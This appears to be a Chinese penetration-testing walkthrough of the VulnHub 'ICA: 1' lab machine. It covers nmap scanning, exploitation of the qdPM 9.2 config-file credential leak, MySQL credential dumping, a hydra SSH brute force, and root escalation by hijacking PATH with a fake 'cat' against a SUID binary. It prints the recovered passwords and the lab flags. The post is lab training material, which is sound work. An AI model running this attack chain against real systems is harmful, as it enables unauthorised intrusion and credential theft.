下载地址:https://www.vulnhub.com/entry/ica-1,748/选择镜像文件进行下载。下载后解压是一个ova文件,在虚拟机中选择-打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。
文件名:ica1.zip
文件大小:1.3 GB
MD5:B9557A43B55C2304996E6A66604DA4CE
SHA1:56F2CA1C6694D8856A8BD132CB2BE9A0666B7044
未探测出IP地址,需要重新配置。
1. 设置虚拟机网络为 NAT 模式
在 VMware 中,将 Kali Linux 和 靶机 都设置为 NAT 模式,以确保它们能通过宿主机共享网络连接。
2. 启动靶机并进入单用户模式
启动靶机,在出现蓝色引导界面时,按下 e 键进入编辑模式(若无法进入编辑模式,长按shift进入引导页面再按e进入)。
3. 修改启动参数
在编辑界面中,找到并修改启动项,将包含的 ro(只读)修改为 rw(读写),并且在参数末尾添加signie init=/bin/bash,使其进入单用户模式。
这样修改后,按下 Ctrl + X 启动系统。
4. 查看网络状态
进入单用户模式后,使用 ifconfig 命令查看网络状况,发现系统提示 ifconfig 命令不可用。
切换使用 ip address 命令来查看网络接口的状态。
5. 修改网卡名称
发现网络接口的名称为 enp0s3,需要将其修改为 ens33。
进入网络配置文件进行修改:
vim /etc/network/interfaces
(路径记忆方法:/etc 配置文件部分 -> network 部分 -> interfaces 配置文件部分 -> 网络接口部分)
6. 保存并退出
在 vim 编辑器中,修改完成后按 Esc 键,输入 :wq 保存并退出。
7. 重启网络服务
修改网络配置后,重启网络服务:
/etc/init.d/networking restart
8. 检查 IP 配置
再次使用 ip address 命令查看,确认网络接口已分配到正确的 IP 地址。
9. 完成配置并重启系统
完成网络配置后,进行系统关机并重启。注意: 必须关机重启,而不是仅仅重启网络服务,因为有些端口可能尚未打开,只有重启系统后,端口才会完全生效。
获取root权限。共两个flag文件。
user.txt:ICA{Secret_Project}
root.txt:ICA{Next_Generation_Self_Renewable_Genetics}
确定IP地址、端口扫描、网站访问、目录扫描、MSF搜集可利用漏洞。
使用nmap确定该靶场IP地址,地址为:192.168.241.169。
namp -sP 192.168.241.0/24
使用nmap进行端口扫描,发现其开放22、80和3306端口。
OpenSSH版本为8.4p1,Apache Httpd版本为2.4.48,MySQL版本为8.0.26。
nmap -sV -v -T4 -A -P 192.168.241.169
访问80端口,发现是qdPM登录页,其框架版本9.2。
扫描发现多个目录、页面可访问,经过逐一访问并为发现可用信息。
dirsearch -u http://192.168.241.169
既然已经知道该网站的框架,在MSF中查阅可利用漏洞。
searchsploit qdPM 9.2
发现其泄露密码信息,搜索50176.txt文件位置并查阅该文件信息
locate 50176.txt
cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
下载databases.yml文件、连接数据库、爆破SSH账户、获得第一个flag、dexter用户登录、查找可执行文件。
wget http://192.168.241.169/core/config/databases.yml
查看该文件,发现数据库登录账密。
username: qdpmadmin
password: UcVQCMQk2STVeS6J
mysql -h 192.168.241.169 -u qdpmadmin -p
密码为:UcVQCMQk2STVeS6J
查看数据库信息。
show databases;
发现staff数据库下有用户名和密码信息。
select * from user;
select * from login;
MySQL [staff]> select * from user;
+------+---------------+--------+---------------------------+
| id | department_id | name | role |
+------+---------------+--------+---------------------------+
| 1 | 1 | Smith | Cyber Security Specialist |
| 2 | 2 | Lucas | Computer Engineer |
| 3 | 1 | Travis | Intelligence Specialist |
| 4 | 1 | Dexter | Cyber Security Analyst |
| 5 | 2 | Meyer | Genetic Engineer |
+------+---------------+--------+---------------------------+
5 rows in set (0.012 sec)
MySQL [staff]> select * from login;
+------+---------+--------------------------+
| id | user_id | password |
+------+---------+--------------------------+
| 1 | 2 | c3VSSkFkR3dMcDhkeTNyRg== |
| 2 | 4 | N1p3VjRxdGc0MmNtVVhHWA== |
| 3 | 1 | WDdNUWtQM1cyOWZld0hkQw== |
| 4 | 3 | REpjZVZ5OThXMjhZN3dMZw== |
| 5 | 5 | Y3FObkJXQ0J5UzJEdUpTeQ== |
+------+---------+--------------------------+
5 rows in set (0.002 sec)
将上述的用户名保存为user.txt,注意用户名全部为小写。
vim user.txt
smith
lucas
travis
dexter
meyer
该密码采用base64加密,其解密后的内容为:
c3VSSkFkR3dMcDhkeTNyRg==
suRJAdGwLp8dy3rF
N1p3VjRxdGc0MmNtVVhHWA==7ZwV4qtg42cmUXGX
WDdNUWtQM1cyOWZld0hkQw==X7MQkP3W29fewHdC
REpjZVZ5OThXMjhZN3dMZw==DJceVy98W28Y7wLg
Y3FObkJXQ0J5UzJEdUpTeQ==
cqNnBWCByS2DuJSy
将密码进行解密后的内容保存为passwd.txt
vim passwd.txt
suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
DJceVy98W28Y7wLg
cqNnBWCByS2DuJSy
使用hydra爆破一下SSH账户,共发现两个账户可进行SSH登录。
hydra -L user.txt -P passwd.txt 192.168.241.169 ssh
[192.168.241.169 login: travis password: DJceVy98W28Y7wLg ][ssh] host:
[192.168.241.169 login: dexter password: 7ZwV4qtg42cmUXGX ][ssh] host:
使用travis用户进行登录。
在登录travis后,发现第一个flag。
user.txt:ICA{Secret_Project}
【user.txt:ICA{Secret_Project}】
查看note.txt文件信息,发现有一段提示。
翻译后内容如下:
find / -perm -u=s 2>/dev/null
查看/opt/get_access文件,是一段乱码。
使用strings命令把它的字符串全部打印出来。
全部内容如下:
dexter@debian:~$ strings /opt/get_access
/lib64/ld-linux-x86-64.so.2
setuid
socket
puts
system
__cxa_finalize
setgid
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]AA]A^A_
cat /root/system.info
Could not create socket to access to the system.
All services are disabled. Accessing to the system is allowed only within working hours.
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
get_access.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
system@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
setgid@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
setuid@GLIBC_2.2.5
__cxa_finalize@GLIBC_2.2.5
socket@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
dexter@debian:~$
也可以使用IDA进行反编译。
发现会以root权限查看文件,那我们可以通过伪造一个文件名为cat的可执行文件,文件内容为/bin/bash,并将文件路径设置为环境变量,这样执行get_access的时候,就会执行我们伪造的cat文件,从而使我们获得root权限。
echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
echo $PATH
export PATH=/tmp:$PATH
/opt/get_access
得到root权限。
查看flag,此时cat命令用不了,用more命令查看。
root.txt:ICA{Next_Generation_Self_Renewable_Genetics}
免责声明
本公众号“暗魂攻防实验室”致力于分享网络安全相关知识及资讯,所有内容仅供学习和交流使用,不得用于任何非法用途。由于传播、利用本公众号“暗魂攻防实验室”所提供的技术和信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任!!!
以下为本公众号声明内容,请知悉并遵守:
1.关于信息的准确性
本公众号所发布的信息均来源于公开渠道或作者整理,仅供参考,不保证内容的绝对准确性、完整性和时效性。使用者在依赖相关内容前,应独立核实信息的真实性和适用性。
2.法律与合规性
使用者应严格遵守国家相关法律法规,确保所有操作仅用于合法用途。本公众号明确禁止任何利用内容进行非法活动的行为,由此产生的后果由使用者自行承担,本公众号及作者不承担任何责任。
3.版权声明
本公众号部分内容如引用了他人作品或资源,均已标注来源或作者。如有侵权,请及时联系我们,我们将在核实后立即删除并致以歉意。
4.合法用途限制
本公众号内容仅供参考,任何利用本公众号内容从事违法行为的后果均由使用者自行承担,本公众号及作者对此不承担任何责任。
5.风险告知
因使用或传播本公众号内容导致的直接或间接后果(如系统损坏、数据丢失、法律责任等),均由使用者自行承担。本公众号及作者对此不承担任何责任。
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】ICA: 1靶场渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论